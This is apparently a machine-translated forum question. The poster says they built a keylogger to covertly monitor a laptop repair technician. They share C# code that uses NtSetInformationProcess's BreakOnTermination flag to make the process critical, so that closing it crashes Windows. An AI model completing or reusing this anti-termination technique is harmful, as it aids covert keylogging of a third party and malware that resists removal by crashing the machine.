每当我关闭我的应用程序时,我都会尝试自己蓝屏死机(强制蓝屏死机)。不幸的是,当我打电话时,Process.EnterDebugMode();
我得到了一个例外:Not all privileges or groups referenced are assigned to the caller
.
我写了键盘记录器(那部分已经完成),它假设监视将修理我的笔记本电脑的服务人员,这样我就会知道他是否没有做任何有趣的事情。
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);
public static void Main() {
int isCritical = 1; // we want this to be a Critical Process
int BreakOnTermination = 0x1D; // value for BreakOnTermination (flag)
Process.EnterDebugMode(); //acquire Debug Privileges
// setting the BreakOnTermination = 1 for the current process
NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int));